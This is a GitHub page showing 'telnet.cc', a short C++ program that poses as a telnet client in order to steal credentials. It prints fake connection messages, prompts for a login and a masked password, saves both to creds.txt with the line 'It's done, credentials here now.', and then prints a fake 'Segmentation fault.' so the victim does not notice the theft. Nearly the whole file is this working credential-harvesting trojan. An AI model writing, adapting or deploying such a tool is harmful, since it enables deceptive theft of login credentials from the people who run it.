-
Notifications
You must be signed in to change notification settings - Fork 0
/
telnet.cc
57 lines (48 loc) · 1.52 KB
/
telnet.cc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#include <iostream>
#include <fstream>
#include <string>
#include <termios.h>
#include <unistd.h>
#include <stdio.h>
int getch(void)
{
struct termios oldattr, newattr;
int ch;
tcgetattr( STDIN_FILENO, &oldattr );
newattr = oldattr;
newattr.c_lflag &= ~( ICANON | ECHO );
tcsetattr( STDIN_FILENO, TCSANOW, &newattr );
ch = getchar();
tcsetattr( STDIN_FILENO, TCSANOW, &oldattr );
return ch;
}
int main(int argc, char *argv[])
{
std::string login;
char password[1024];
int k = 0;
std::string prefix = "It's done, credentials here now.\nHave a nice day!\n";
std::cout << "Trying 192.168.1.1..." << std::endl;
std::cout << "Connected to " << argv[1] << "." << std::endl;
std::cout << "Escape character is '^]'." << std::endl;
std::cout << "Login: ";
std::cin >> login;
std::cout << "Password: ";
while (password[k-1] != '\r') {
password[k] = getch();
if (password[k] == '\n' and k != 0) break;
if (password[k] != '\r') {
if (k != 0) {
std::cout << "*";
}
}
k++;
}
std::ofstream myfile;
myfile.open("creds.txt");
myfile << prefix << "Login: " << login << std::endl;
myfile << "Password: " << password << std::endl;
myfile.close();
std::cout << "\nSegmentation fault." << std::endl;
return 0;
}